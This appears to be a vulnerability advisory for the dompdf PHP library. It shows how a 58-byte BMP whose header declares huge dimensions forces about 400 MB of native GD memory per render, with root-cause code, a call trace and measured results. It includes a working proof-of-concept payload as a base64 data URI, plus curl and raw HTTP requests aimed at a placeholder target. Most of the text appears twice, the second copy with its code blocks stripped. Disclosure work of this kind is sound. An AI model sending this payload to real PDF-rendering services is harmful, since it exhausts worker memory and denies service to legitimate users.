Summary
dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g. 6000×6000 is accepted and later drives imagecreatetruecolor($width, $height) (and PHP's native BMP decoder) to allocate the full pixel canvas.
A payload can fit in a single HTTP request: the BMP can be inlined as a data:image/bmp;base64,… URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.
Details
Root cause
The image is processed based on declared dimensions and type alone — no pixel budget:
// src/Image/Cache.php:131-134
list($width, $height, $type) = Helpers::dompdf_getimagesize($resolved_url, $options->getHttpContext());
if (($width && $height && in_array($type, ["gif","png","jpeg","bmp","svg","webp"], true)) === false) {
throw new ImageException("Image type unknown", E_WARNING);
}For BMPs that getimagesize() does not fully parse, dompdf trusts the raw header fields:
// src/Helpers.php:833-837
if (substr($data, 0, 2) === "BM") {
$meta = unpack("vtype/Vfilesize/Vreserved/Voffset/Vheadersize/Vwidth/Vheight", $data);
$width = (int) $meta["width"];
$height = (int) $meta["height"];
$type = "bmp";
}At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:
// src/Helpers.php:868-869 — native decoder is tried FIRST on PHP >= 7.2
if (function_exists("imagecreatefrombmp") && ($im = imagecreatefrombmp($filename)) !== false) {
return $im;
}
// src/Helpers.php:940 — hand-rolled fallback
$im = imagecreatetruecolor($meta['width'], $meta['height']);There is no maximum width/height or maximum total-pixel guard anywhere on this path.
Source-to-sink
- Attacker HTML reaches
Dompdf::loadHtml() with <img src="data:image/bmp;base64,…"> (or any BMP src).
Dompdf::render() decorates frames; Frame\Factory marks <img> as an image; FrameDecorator\Image calls Image\Cache::resolve_url().Image\Cache::resolve_url() accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).- During render,
Adapter\CPDF::image() identifies the BMP and calls _convert_to_png() (src/Adapter/CPDF.php:593).
_convert_to_png() invokes Helpers::imagecreatefrombmp(), which allocates the full canvas — via the native imagecreatefrombmp() on PHP ≥ 7.2, or the hand-rolled imagecreatetruecolor() fallback otherwise.
PoC
erified against dompdf @ a6ddc4f on PHP 8.3.6 with GD enabled.
The crafted BMP is 58 bytes: a 14-byte file header + 40-byte BITMAPINFOHEADER declaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:
<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>
(The base64 above decodes to a 58-byte BMP declaring 6000×6000. The CSS width:1px;height:1px does not help the defender — the intrinsic decode happens regardless.)
1 — Direct conversion
native imagecreatefrombmp exists: yes
dompdf_getimagesize => 6000x6000 type=bmp
imagecreatefrombmp => GdImage 6000x6000 (allocated from a 58-byte file)
Maximum resident set size: 160 MB (10x10 control: 24 MB)
php_peak (PHP-managed): 0.8 MB <-- GD memory is native; PHP memory_limit does NOT cap it
The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so memory_limit does not bound it.
2 — Full Dompdf::render()
declared 6000x6000 payload 169 bytes render 5.8 s RSS ~417 MB output 106 KB
declared 10x10 payload 169 bytes render 0.01 s RSS ~30 MB output 1.4 KB
3 — HTTP reproduction (curl / Burp)
Reproduced against a minimal PDF endpoint (server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint sets isRemoteEnabled=false; the attack still works because data: URIs are an allowed protocol by default and need no remote fetch.
curl:
curl -s -X POST "https://TARGET/render" \
--data-binary '<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>' \
-o /dev/null -w 'http=%{http_code} time=%{time_total}s\n'Burp Repeater (enable "Update Content-Length"):
POST /render HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/html
Connection: close
<html><body><img src="data:image/bmp;base64,Qk06AAAAAAAAADYAAAAoAAAAcBcAAHAXAAABABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" style="width:1px;height:1px"></body></html>
Observed (peak RSS read from the worker's /proc/<pid>/status VmHWM, each on a fresh worker so the high-water mark is per-request):
[ATTACK ] declared 6000x6000 request=169 B -> 200 application/pdf output=106397 B server peak RSS ~412 MB wall 4.8 s
[CONTROL] declared 10x10 request=169 B -> 200 application/pdf output=1407 B server peak RSS ~34 MB wall <0.1 s
Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).
Impact
A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request memory_limit does not contain it.
Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.
References
riodrwn Reporter
Summary
dompdf accepts a BMP image and generates a PDF-compatible PNG based only on its declared header dimensions and never bounds width × height before the image is converted through GD. A 58-byte BMP whose header declares e.g.
6000×6000is accepted and later drivesimagecreatetruecolor($width, $height)(and PHP's native BMP decoder) to allocate the full pixel canvas.A payload can fit in a single HTTP request: the BMP can be inlined as a
data:image/bmp;base64,…URI inside attacker-controlled HTML, so no upload, no remote fetch, and no chroot-reachable file is required. It was demonstrated that a 169-byte request drove dompdf to render to ~412 MB peak RSS and ~4.8 s of CPU/wall time, versus ~34 MB for an identically-sized benign request — roughly a 12× memory amplification per request, repeatable and unauthenticated.Details
Root cause
The image is processed based on declared dimensions and type alone — no pixel budget:
For BMPs that
getimagesize()does not fully parse, dompdf trusts the raw header fields:At conversion time the canvas is allocated from those declared dimensions, before any check that enough pixel data exists:
There is no maximum width/height or maximum total-pixel guard anywhere on this path.
Source-to-sink
Dompdf::loadHtml()with<img src="data:image/bmp;base64,…">(or any BMPsrc).Dompdf::render()decorates frames;Frame\Factorymarks<img>as an image;FrameDecorator\ImagecallsImage\Cache::resolve_url().Image\Cache::resolve_url()accepts the BMP on declared dimensions/type (src/Image/Cache.php:131-134).Adapter\CPDF::image()identifies the BMP and calls_convert_to_png()(src/Adapter/CPDF.php:593)._convert_to_png()invokesHelpers::imagecreatefrombmp(), which allocates the full canvas — via the nativeimagecreatefrombmp()on PHP ≥ 7.2, or the hand-rolledimagecreatetruecolor()fallback otherwise.PoC
erified against dompdf @
a6ddc4fon PHP 8.3.6 with GD enabled.The crafted BMP is 58 bytes: a 14-byte file header + 40-byte
BITMAPINFOHEADERdeclaring the target width/height at 24bpp + 4 padding bytes. Inlined as a data URI, the full attacker payload is 169 bytes:(The base64 above decodes to a 58-byte BMP declaring
6000×6000. The CSSwidth:1px;height:1pxdoes not help the defender — the intrinsic decode happens regardless.)1 — Direct conversion
The PHP-managed peak is under 1 MB while RSS is 160 MB: the canvas lives in GD's native allocator, so
memory_limitdoes not bound it.2 — Full
Dompdf::render()3 — HTTP reproduction (curl / Burp)
Reproduced against a minimal PDF endpoint (
server.php, included) that simply renders posted HTML — the shape of any invoice/report/HTML-to-PDF service. The endpoint setsisRemoteEnabled=false; the attack still works becausedata:URIs are an allowed protocol by default and need no remote fetch.curl:
Burp Repeater (enable "Update Content-Length"):
Observed (peak RSS read from the worker's
/proc/<pid>/statusVmHWM, each on a fresh worker so the high-water mark is per-request):Two identically sized 169-byte requests; the only difference is the dimensions declared inside the 58-byte BMP. The attack request costs ~378 MB extra native memory and ~5 s CPU. The cost scales with declared
width × height, bounded only by the 32-bit header fields and the host's available memory (the process is OOM-killed before the theoretical maximum).Impact
A single unauthenticated 169-byte request forces ~400 MB of native allocation and several seconds of CPU in the rendering worker. PDF rendering is typically done by a small pool of PHP-FPM or queue workers; a handful of concurrent requests exhausts that pool's memory and stalls or OOM-kills workers, denying service to legitimate users. Because the heavy allocation is in GD's native allocator, a per-request
memory_limitdoes not contain it.Caveat: this is a resource-exhaustion (DoS) primitive, not data disclosure or code execution. Some deployments already sandbox dompdf behind render timeouts, worker memory caps (cgroups), or job isolation — those reduce real-world impact. However, the specific GD implementation on a system may not be constrained by PHP limits, allowing system-level resource consumption beyond those allocated to PHP.
References